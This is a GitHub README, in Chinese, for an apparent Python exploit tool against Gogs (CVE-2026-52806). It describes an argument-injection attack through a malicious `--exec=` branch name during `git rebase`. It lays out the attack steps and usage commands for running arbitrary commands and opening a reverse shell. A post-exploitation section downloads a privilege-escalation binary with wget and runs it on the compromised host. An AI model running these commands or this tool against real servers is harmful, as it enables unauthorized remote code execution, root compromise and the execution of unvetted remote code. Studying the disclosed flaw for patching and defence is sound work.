portbuster1337/CVE-2026-52806
GitHub: portbuster1337/CVE-2026-52806
针对 Gogs Git 服务中 `git rebase` 参数注入漏洞(CVE-2026-52806)的 Python 概念验证工具,实现已认证的远程代码执行。
Stars: 6 | Forks: 1
# Gogs RCE — `git rebase` 中的参数注入 (CWE-88)
通过在 pull request 合并流程中的参数注入,对 Gogs (<= 0.14.2 和 0.15.0+dev) 进行已认证的远程代码执行。
CVE-2026-52806
## 漏洞详情
`internal/database/pull.go` 中的 `Merge()` 函数在将 PR 的 base 分支
名称传递给 `git rebase` 时,**没有使用 `--` 分隔符**。如果一个分支被命名为
`--exec=`,Git 会将其解析为 `--exec` 标志,而不是一个
位置参数,从而导致 `sh -c ` 在 rebase 期间重放每个
commit 后执行。
## 漏洞利用工作原理
1. **预检 (Pre-flight)** — 确定目标是否运行 Gogs,通过静态资源上的 `?v=` 参数指纹识别
版本,并检查用户
注册是开放的、受验证码保护的还是被禁用的。
2. **身份验证** — 如果未提供凭据,则尝试
自动注册(无验证码);如果启用了验证码,则打印一条消息,
告诉用户在目标的注册页面上创建一个账户,并
使用 `-u -pw ` 重新运行。通过
Basic auth 或 Web 设置页面创建 API token。
3. **仓库设置** — 通过 Gogs
API 创建一个临时的私有仓库,并在设置中启用 *Rebase before merging*。
4. **Git 分支操作** — 在本地初始化一个 git repo,推送:
- 一个带有 README 的 `master` 分支
- 一个带有独立 commit 的 `feature-*` 分支
- 一个名为 `--exec=sh${IFS}.payload` 的**恶意分支**,其中包含一个
在后台运行攻击者命令的脚本
5. **Pull request** — 从 feature 分支向恶意的
`--exec=` 分支发起一个 PR。
6. **触发** — 向合并 endpoint 发送 POST 请求,参数为
`merge_style=rebase_before_merging`。Gogs 在内部运行
`git rebase --exec=sh${IFS}.payload`,这会在
每个重放的 commit 执行后执行 payload。
7. **清理** — 删除临时仓库和本地临时文件。
## 环境要求
- Python 3.6+
- `requests` (`pip install requests`)
- 本地安装 `git`
## 用法
```
python3 gogs.py [options]
```
### 预检
```
python3 gogs.py http://target:3000 --preflight-only
```
报告:
- `Registration: ENABLED (no captcha)` — 可以自动注册
- `Registration: ENABLED (CAPTCHA DETECTED)` — 在目标注册页面上手动创建一个账户,然后使用 `-u` / `-pw` 提供凭据
- `Registration: DISABLED` — 需要管理员现有的凭据
### 运行漏洞利用
```
# 自动注册 + 运行命令
python3 gogs.py 10.0.0.1:3000 --cmd "id > /tmp/pwned.txt"
# 已有账户
python3 gogs.py 10.0.0.1:3000 -u attacker -p Password123 --cmd "whoami"
# Reverse shell
python3 gogs.py 10.0.0.1:3000 -u attacker -p Password123 --listener 10.0.0.2:4444
# 已启用 Captcha:在目标的注册页面上创建账户,然后使用 creds
python3 gogs.py 10.0.0.1:3000 -u myuser -pw mypassword --cmd "id"
# 如果使用 creds 登录失败,直接传递 session cookie
python3 gogs.py 10.0.0.1:3000 --cookie "i_like_gogs=abc123..." --cmd "id"
```
### 选项
| 标志 | 描述 |
|---|---|
| `target` | 主机[:端口] (例如 `47.109.58.140:9000`) |
| `-p`, `--port` | HTTP 端口 (默认: 3000) |
| `-u`, `--username` | Gogs 用户名 |
| `-pw`, `--password` | Gogs 密码 |
| `--cookie` | Session cookie 字符串 |
| `--cmd` | 在目标上执行的命令 |
| `--listener` | Reverse shell 的 `host:port` |
| `--lhost` / `--lport` | Reverse shell 的主机和端口 |
| `--ssl` | 使用 HTTPS |
| `--preflight-only` | 仅运行预检 |
## 后渗透 (Post-Exploitation)
一旦你在目标上获得了 shell,Gogs 进程通常以低权限用户运行(例如 Docker 中的 `git`)。要尝试提权
到 root,请从项目的 releases 页面下载并运行 [lpe-toolkit](https://github.com/portbuster1337/lpe-toolkit)
二进制文件:
```
# 从你的 shell 会话中:
wget https://github.com/portbuster1337/lpe-toolkit/releases/latest/download/lpe-toolkit-linux-amd64
chmod +x lpe-toolkit-linux-amd64
./lpe-toolkit-linux-amd64
```
该工具包会枚举内核漏洞、错误配置以及其他常见的
提权向量。
## 参考
- **Rapid7 博客文章** — [通过 Gogs 中的参数注入实现已认证的 RCE(未修复)](https://www.rapid7.com/blog/post/ve-authenticated-rce-via-argument-injection-gogs-unfixed/)
- **Metasploit 模块** — Rapid7 的 `exploit/multi/http/gogs_rebase_rce`
作者:Jonah Burgess (CryptoCat)
([PR #21515](https://github.com/rapid7/metasploit-framework/pull/21515))
- **GHSA** — `qf6p-p7ww-cwr9` (gogs/gogs)
- **Gogs** — https://github.com/gogs/gogs
此 Python PoC 的灵感来自已发布的 Metasploit 模块。该
漏洞由 Rapid7 的 Jonah Burgess
(CryptoCat) 发现并负责披露。
## 免责声明
本工具仅供教育目的和授权的安全测试
使用。未经授权对你不拥有或未获得明确
测试许可的系统进行使用是违法的。作者不对任何滥用
或本软件造成的损害负责。
## 注意
Gogs API 不支持 token 删除,因此在漏洞利用期间创建的任何 API 访问 token
都将保留,必须手动
在目标实例的 `/user/settings/applications` 中删除。
标签:CISA项目, Python, 安全, 无后门, 超时处理, 逆向工具